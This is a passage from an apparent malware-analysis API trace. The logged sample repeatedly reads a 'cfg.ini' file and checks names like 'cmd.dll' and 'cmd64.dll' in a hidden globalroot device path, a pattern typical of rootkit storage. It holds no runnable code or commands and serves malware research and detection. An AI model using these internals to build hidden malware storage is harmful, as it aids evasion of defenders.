MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.855] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.855] IdePortDispatch () returned 0x103 [0124.855] KeWaitForMutexObject () returned 0x0 [0124.855] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.855] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.855] IdePortDispatch () returned 0x103 [0124.855] KeWaitForMutexObject () returned 0x0 [0124.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.855] KeLeaveCriticalRegion () [0124.855] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.856] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.856] KeEnterCriticalRegion () [0124.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] KeLeaveCriticalRegion () [0124.856] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.856] KeEnterCriticalRegion () [0124.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.856] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4be0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] KeLeaveCriticalRegion () [0124.856] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.856] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.856] KeEnterCriticalRegion () [0124.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] ExFreePoolWithTag (P=0xfffffa8003bf3220, Tag=0x0) [0124.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.856] KeLeaveCriticalRegion () [0124.856] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.856] ReleaseMutex (hMutex=0xf0) returned 1 [0124.856] Sleep (dwMilliseconds=0x124f80) [0124.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.870] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.871] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.871] KeEnterCriticalRegion () [0124.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.871] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.871] IdePortDispatch () returned 0x103 [0124.871] KeWaitForMutexObject () returned 0x0 [0124.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.871] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.871] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.871] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.871] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.871] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4c20 [0124.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.871] KeLeaveCriticalRegion () [0124.871] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.871] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.871] KeEnterCriticalRegion () [0124.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.871] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.871] KeLeaveCriticalRegion () [0124.871] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.871] KeEnterCriticalRegion () [0124.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.871] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.871] IdePortDispatch () returned 0x103 [0124.872] KeWaitForMutexObject () returned 0x0 [0124.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.872] KeLeaveCriticalRegion () [0124.872] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.872] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.872] KeEnterCriticalRegion () [0124.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d6000 [0124.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.872] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.872] IdePortDispatch () returned 0x103 [0124.872] KeWaitForMutexObject () returned 0x0 [0124.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.872] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.872] IdePortDispatch () returned 0x103 [0124.872] KeWaitForMutexObject () returned 0x0 [0124.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.872] KeLeaveCriticalRegion () [0124.872] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.873] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.873] KeEnterCriticalRegion () [0124.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.873] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.873] KeLeaveCriticalRegion () [0124.873] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.873] KeEnterCriticalRegion () [0124.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.873] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.873] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf45b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.873] KeLeaveCriticalRegion () [0124.873] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.873] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.873] KeEnterCriticalRegion () [0124.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.873] ExFreePoolWithTag (P=0xfffffa8003bf4c20, Tag=0x0) [0124.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.873] KeLeaveCriticalRegion () [0124.873] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.873] ReleaseMutex (hMutex=0xf0) returned 1 [0124.873] Sleep (dwMilliseconds=0x124f80) [0124.887] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.887] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.887] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.887] KeEnterCriticalRegion () [0124.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.888] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.888] IdePortDispatch () returned 0x103 [0124.888] KeWaitForMutexObject () returned 0x0 [0124.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.888] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.888] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.888] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.888] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.888] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beed00 [0124.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.888] KeLeaveCriticalRegion () [0124.888] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.888] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.888] KeEnterCriticalRegion () [0124.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.888] KeLeaveCriticalRegion () [0124.888] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.888] KeEnterCriticalRegion () [0124.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.888] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.888] IdePortDispatch () returned 0x103 [0124.888] KeWaitForMutexObject () returned 0x0 [0124.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.889] KeLeaveCriticalRegion () [0124.889] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.889] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.889] KeEnterCriticalRegion () [0124.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035db000 [0124.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.889] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.889] IdePortDispatch () returned 0x103 [0124.889] KeWaitForMutexObject () returned 0x0 [0124.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.889] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.889] IdePortDispatch () returned 0x103 [0124.889] KeWaitForMutexObject () returned 0x0 [0124.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.889] KeLeaveCriticalRegion () [0124.889] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.890] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.890] KeEnterCriticalRegion () [0124.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.890] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.890] KeLeaveCriticalRegion () [0124.890] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.890] KeEnterCriticalRegion () [0124.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.890] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.890] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.890] KeLeaveCriticalRegion () [0124.890] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.890] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.890] KeEnterCriticalRegion () [0124.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.890] ExFreePoolWithTag (P=0xfffffa8003beed00, Tag=0x0) [0124.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.890] KeLeaveCriticalRegion () [0124.890] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.890] ReleaseMutex (hMutex=0xf0) returned 1 [0124.890] Sleep (dwMilliseconds=0x124f80) [0124.917] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.917] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.917] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.917] KeEnterCriticalRegion () [0124.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.917] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.917] IdePortDispatch () returned 0x103 [0124.917] KeWaitForMutexObject () returned 0x0 [0124.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.917] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.917] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.917] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.917] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.917] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.917] KeLeaveCriticalRegion () [0124.917] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.917] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.917] KeEnterCriticalRegion () [0124.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.917] KeLeaveCriticalRegion () [0124.918] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.918] KeEnterCriticalRegion () [0124.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.918] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.918] IdePortDispatch () returned 0x103 [0124.918] KeWaitForMutexObject () returned 0x0 [0124.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.918] KeLeaveCriticalRegion () [0124.918] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.918] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.918] KeEnterCriticalRegion () [0124.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.918] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e0000 [0124.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.918] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.918] IdePortDispatch () returned 0x103 [0124.918] KeWaitForMutexObject () returned 0x0 [0124.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.919] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.919] IdePortDispatch () returned 0x103 [0124.919] KeWaitForMutexObject () returned 0x0 [0124.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.919] KeLeaveCriticalRegion () [0124.919] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.919] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.919] KeEnterCriticalRegion () [0124.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.919] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.919] KeLeaveCriticalRegion () [0124.919] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.920] KeEnterCriticalRegion () [0124.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.920] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.920] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.920] KeLeaveCriticalRegion () [0124.920] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.920] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.920] KeEnterCriticalRegion () [0124.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 